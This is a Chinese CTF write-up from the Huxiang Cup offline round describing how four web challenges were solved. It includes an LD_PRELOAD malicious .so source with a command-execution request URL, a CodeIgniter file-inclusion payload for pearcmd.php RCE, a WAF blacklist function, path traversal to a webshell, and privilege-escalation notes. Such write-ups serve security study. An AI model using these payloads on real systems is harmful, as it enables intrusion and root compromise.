CTF

湖湘杯线下Writeup

Posted on 2021-12-06,3 min read

MultistageAgency

分析Dockerfile。发现golang是三个服务。

Proxy   8080
暴露Web 9090
后端Web 9091

start.sh

echo `cat /proc/sys/kernel/random/uuid  | md5sum |cut -c 1-9` > /tmp/secret/key
su - web -c "/code/bin/web 2>&1  >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1  >/code/logs/proxy.log &"

/code/bin/server 2>&1  >/code/logs/server.log &

tail -f /code/logs/*

这里proxy和web服务都是web用户起来的。server是root起的。

看web源码

看了下没啥利用点。只有token处会接受get参数遍历添加环境变量

前端有个js会自动添加http_proxy=127.0.0.1:8080
以此通过8080的代理访问到自己的9091端口。获取token
但是只能访问到web的/
而token就是对应文件上传和列目录的一个ID。没啥用

继续看server的源码

/就是根据HTTP头。返回对应的token
/manager

m可控。并且直接带入bash -c 'xxxxx'
能命令注入。但是有waf

func waf(c string) bool {
	var t int32
	t = 0
	blacklist := []string{".", "*", "?"}
	for _, s := range c {
		for _, b := range blacklist {
			if b == string(s) {
				return false
			}
		}
		if unicode.IsLetter(s) {
			if t == s {
				continue
			}
			if t == 0 {
				t = s
			} else {
				return false
			}
		}
	}

	return true
}

意思就是。不能带.*?和字母
https://guokeya.github.io/post/omqnCRpCQ/
生成下exp就行

接下来就是如何打到9091端口。
这里通过token接口添加环境变量配合文件上传

LD_PRELOAD=上传的恶意so
_evilcmd=uname -a

接着就可以任意代码执行了
evil.c

#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
    unsetenv("LD_PRELOAD");
    system(getenv("_evilcmd"));
}

编译后上传
路径就是/code/uploads/yourid/随机文件名

http://xxx:19090/token?LD_PRELOAD=/code/uploads/927a2338b423ff539698ad96f0cf01f0/XVlBz&_evilcmd=ls%20-l%20/&http_proxy=127.0.0.1:8080


然后弹个shell

接着就是安洵杯。生成下exp
然后%3b生成的exp。即可拿到root权限

josda

弱口令admin admin。
漏洞点位于application/controller/admin/topic.php/verify

这里this->Vars在构造方法中有赋值

目前是view方法的第二个参数可控。

$this->_ci_object_to_array会直接返回参数。
_ci_load方法中的("_ci_vars"=>可控)

变量覆盖点

文件包含点
包含pearcmd.php即可RCE
payload:
/admin/topic/verify/?_ci_path=/usr/local/lib/php/pearcmd.php

黑盒题

有个request.js。很多接口
注册用户上去。然后改密码处。用户名base64改成admin
然后再去request.js的admin改密码接口。改root的密码
改完密码。有个列log的接口。读../../../../../var/www/html/phpinfo.php
是个一句话后门。md5对应密码是1q2w3e
弹shel用sed提权读flag。

nodejs

原型链污染。然后pug渲染模板注入即可

下一篇: 湖湘杯Web→